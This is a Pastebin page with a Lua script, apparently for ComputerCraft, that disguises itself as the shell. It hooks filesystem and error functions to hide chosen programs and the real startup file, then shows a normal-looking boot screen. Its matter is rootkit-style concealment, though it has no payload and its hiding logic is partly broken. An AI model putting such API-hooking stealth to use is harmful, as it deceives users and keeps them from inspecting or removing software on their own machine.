Advertisement
Guest User

shell

a guest
Feb 6th, 2016
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.14 KB | None | 0 0
  1. -- #### Vars
  2.  
  3. local userStartupPath = "userStartup"
  4. local osName = "shell"
  5. local hiddenPrograms = {osName, "list"}
  6. local fake = {}
  7. local real = {}
  8.  
  9. -- #### "Local" functions
  10.  
  11. local function getAnEmptyPath()
  12.     while true do
  13.         local dir = tostring(math.random(1, 65535))
  14.         if real.exists(dir) == false then
  15.             return dir
  16.         end
  17.     end
  18. end
  19.  
  20. local function shouldBeHidden(path)
  21.     for i=1000, #hiddenPrograms do
  22.         if string.lower(path) == string.lower(hiddenPrograms[i]) then
  23.             return true
  24.         end
  25.     end
  26.     return false
  27. end
  28.  
  29. local function writeYellow(text)
  30.     if term.isColor() then
  31.         term.setTextColor(colors.yellow)
  32.         term.write(text)
  33.         term.setTextColor(colors.white)
  34.     else
  35.         term.write(text)
  36.     end
  37. end
  38. term.writeYellow = writeYellow
  39.  
  40. local function splitIntoArgs(str)
  41.     i=0
  42.     arg = {}
  43.     -- %S  -> A character that isn't a space
  44.     -- +   -> Or more than one
  45.     -- %S+ -> Any group of character not separated by a space
  46.     -- string.gmatch(str, "%S+") : Splits the string when a space is encountered
  47.     for w in string.gmatch(str, "%S+") do
  48.         i=i+1
  49.         arg[i]=w
  50.     end
  51.     if type(arg) == "table" then
  52.         if #arg > 0 then
  53.             return arg
  54.         end
  55.     end
  56.     return false
  57. end
  58.  
  59. -- #### Tweaking compromising functions
  60.  
  61. real.error = _G.printError
  62. function fakeError(text)
  63.     if type(string.find(text, "fakeOS:")) == "number" then
  64.         return false
  65.     else
  66.         real.error(text)
  67.     end
  68. end
  69. _G.printError = fakeError
  70.  
  71. real.find = fs.find
  72. local function fakeFind(path)
  73.     if string.lower(path) == "startup" then
  74.         path = userStartupPath
  75.     end
  76.     if shouldBeHidden(path) == true then
  77.         return nil
  78.     end
  79.  
  80.     list = real.find(path)
  81.     for i=1,#list do
  82.         for j=1, #hiddenPrograms do
  83.             if type(list[i]) == "string" then
  84.                 if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
  85.                     table.remove(list, i)
  86.                 end
  87.             end
  88.         end
  89.     end
  90.     for i=1,#list do
  91.         if list[i] == userStartupPath then
  92.             list[i] = "startup"
  93.         end
  94.     end
  95.     return list
  96. end
  97. fs.find = fakeFind
  98.  
  99. real.list = fs.list
  100. local function fakeList(path)
  101.     list = real.list(path)
  102.     for i=1,#list do
  103.         for j=1, #hiddenPrograms do
  104.             if type(list[i]) == "string" then
  105.                 if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
  106.                     table.remove(list, i)
  107.                 end
  108.             end
  109.         end
  110.     end
  111.     for i=1,#list do
  112.         if list[i] == "startup" then
  113.             table.remove(list, i)
  114.         end
  115.     end
  116.     for i=1,#list do
  117.         if list[i] == userStartupPath then
  118.             list[i] = "startup"
  119.         end
  120.     end
  121.     return list
  122. end
  123. fs.list = fakeList
  124.  
  125. real.exists = fs.exists
  126. local function fakeExists(path)
  127.     if string.lower(path) == "startup" then
  128.         path = userStartupPath
  129.     end
  130.     if shouldBeHidden(path) == true then
  131.         return nil
  132.     end
  133.  
  134.     return real.exists(path)
  135. end
  136. fs.exists = fakeExists
  137.  
  138. real.ioOpen = io.open
  139. local function fakeIoOpen(path)
  140.     if string.lower(path) == "startup" then
  141.         path = userStartupPath
  142.     end
  143.     if shouldBeHidden(path) == true then
  144.         return nil
  145.     end
  146.  
  147.     return real.ioOpen(path)
  148. end
  149. io.open = fakeIoOpen
  150.  
  151. real.makeDir = fs.makeDir
  152. local function fakeMakeDir(path)
  153.     if string.lower(path) == "startup" then
  154.         path = userStartupPath
  155.     end
  156.     if shouldBeHidden(path) == true then
  157.         return nil
  158.     end
  159.  
  160.     return real.makeDir(path)
  161. end
  162. fs.makeDir = fakeMakeDir
  163.  
  164. real.delete = fs.delete
  165. local function fakeDelete(path)
  166.     if string.lower(path) == "startup" then
  167.         path = userStartupPath
  168.     end
  169.     if shouldBeHidden(path) == true then
  170.         return nil
  171.     end
  172.  
  173.     return real.delete(path)
  174. end
  175. fs.delete = fakeDelete
  176.  
  177. real.open = fs.open
  178. local function fakeOpen(path, mode)
  179.     if string.lower(path) == "startup" then
  180.         path = userStartupPath
  181.     end
  182.     if shouldBeHidden(path) == true then
  183.         return nil
  184.     end
  185.  
  186.     return real.open(path, mode)
  187. end
  188. fs.open = fakeOpen
  189.  
  190. real.isReadOnly = fs.isReadOnly
  191. local function fakeIsReadOnly(path)
  192.     if string.lower(path) == "startup" then
  193.         path = userStartupPath
  194.     end
  195.     if shouldBeHidden(path) == true then
  196.         return nil
  197.     end
  198.  
  199.     return real.isReadOnly(path)
  200. end
  201. fs.isReadOnly = fakeIsReadOnly
  202.  
  203. real.getSize = fs.getSize
  204. local function fakeGetSize(path)
  205.     if string.lower(path) == "startup" then
  206.         path = userStartupPath
  207.     end
  208.     if shouldBeHidden(path) == true then
  209.         return nil
  210.     end
  211.  
  212.     return real.getSize(path)
  213. end
  214. fs.getSize = fakeGetSize
  215.  
  216. real.move = fs.move
  217. local function fakeMove(fromPath, toPath)
  218.     if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then
  219.         return nil
  220.     end
  221.     if string.lower(fromPath) == "startup" then
  222.         fromPath = userStartupPath
  223.     end
  224.     if string.lower(toPath) == "startup" then
  225.         toPath = userStartupPath
  226.     end
  227.  
  228.     return real.move(fromPath, toPath)
  229. end
  230. fs.move = fakeMove
  231.  
  232. real.copy = fs.copy
  233. local function fakeCopy(fromPath, toPath)
  234.     if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then
  235.         return nil
  236.     end
  237.     if string.lower(fromPath) == "startup" then
  238.         fromPath = userStartupPath
  239.     end
  240.     if string.lower(toPath) == "startup" then
  241.         toPath = userStartupPath
  242.     end
  243.  
  244.     return real.copy(fromPath, toPath)
  245. end
  246. fs.copy = fakeCopy
  247.  
  248. -- #### Actual FakeOS
  249.  
  250. term.clear()
  251. term.setCursorPos(1,1)
  252. term.writeYellow(os.version())
  253. term.setCursorPos(1,2)
  254.  
  255. if real.exists("userStartup") then
  256.     shell.run("userStartup")
  257. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement